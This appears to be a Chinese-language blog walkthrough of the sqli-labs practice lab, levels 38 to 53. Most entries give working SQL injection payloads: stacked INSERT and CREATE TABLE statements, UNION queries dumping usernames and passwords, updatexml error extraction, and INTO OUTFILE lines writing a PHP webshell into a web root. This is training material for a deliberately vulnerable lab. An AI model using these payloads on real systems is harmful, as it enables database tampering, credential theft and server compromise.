Sqli_labs_Page3(stacked)
本篇大部分考察堆叠注入
0x01.Less-38 GET 堆叠注入 单引号
使用堆叠注入可以进行增删改查等操作
1 | ?id=0' union select 1,database(),3;insert into users values(22,'sha','gou') -- - |
爆库爆表爆字段等操作不在赘述,先查看未注入之前的数据
1 | ?id=0' union select 1,group_concat(username,0x7e,password),3 from users -- - |
再查看注入之后的数据
0x02.Less-39 GET 堆叠注入 整型
同less-38,将单引号去掉即可
0x03.Less-40 GET 基于bool 堆叠注入 单引号+括号
bool注入不在赘述,使用如下payload
1 | ?id=1');insert into users values(22,'sha','gou') -- - |
查看,可以看到插入成功
0x04.Less-41 GET 基于bool 堆叠注入 整型
同less-40,去掉')即可
0x05.Less-42 POST 基于报错 堆叠注入
这里点击注册用户出现如下页面
查看源码发现,password没有进行过滤,此处可以进行注入
1 | $con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname); |
测试发现闭合字符为单引号
注入
这里没有想到好的办法进行爆库爆表爆字段(菜是原罪。。。)
1 | insert into users values(55,'de','de') -- - |
0x06.Less-43 POST 基于报错 堆叠注入 单引号+括号
同less-42,将单引号换为')即可
1 | insert into users values(66,'ha','ha') -- - |
0x07.Less-44 POST 基于报错 堆叠注入blind
同less42,但此处'无回显
1 | insert into users values(32,'demo','demo') -- - |
0x08.Less-45 POST 基于报错 堆叠注入blind
同less42,闭合字符为'),仍然无回显
0x09.Less-46 GET 基于报错 数字 order by
查看源码发现sql语句如下
order by 不同于where,order by 后不能拼接union
1 | $sql = "SELECT * FROM users ORDER BY $id"; |
直接构造报错语句,其他过程不在赘述
1 | ?sort=0 and updatexml(1,concat(0x7e,database(),0x7e),1) -- - |
skip
这里可以使用into outfile配合lines terminated by 0x写入webshell
1 | ?sort=1 and into outfile "C:\\phpStudy\\WWW\\less46.php" lines terminated by 3c3f7068700a706870696e666f28293b0a3f3e -- - |
这里由于没有权限所以失败了,但这也是一个不错的思路。
0x10.Less-47 GET 基于报错 字符 order by
同上,闭合字符为单引号
1 | ?sort=0' and updatexml(1,concat(0x7e,database(),0x7e),1) -- - |
0x11.Less-48 GET 基于bool 数字 order by
这里使用rand()函数进行回显判断
rand(0)如下
rand(1)如下
爆库
1 | ?sort=rand(left((select database()),1)='a') |
其他过程不在赘述
0x12.Less-49 GET 基于bool 字符 order by
同上,闭合字符为单引号,本次使用导出文件上传webshell
1 | ?sort=1' and into outfile "/var/www/html/Less-49/demo.php" lines terminated by 3c3f7068700a706870696e666f28293b0a3f3e -- - |
这里3c3f7068700a706870696e666f28293b0a3f3e为的16进制
0x13.Less-50 基于报错 GET order by 数字 堆叠注入
查看源码发现,将mysql_query()函数换为了mysqli_multi_query()函数 ,可以多语句查询,所以可以使用堆叠注入
1 | ?sort=1;create table demo like users; -- - |
其他过程不在赘述
0x014.Less-51 基于报错 GET order by 字符 堆叠注入
同上,闭合字符为单引号
1 | ?sort=1';create table demo like users; -- - |
0x15.Less-52 基于bool GET order by 数字 堆叠注入
同上直接堆叠注入即可
1 | ?sort=1;create table hade like users; -- - |
0x16.Less-53 基于bool GET order by 字符 堆叠注入
同上,闭合字符为单引号,直接堆叠注入即可
1 | ?sort=1';create table qq like users; -- - |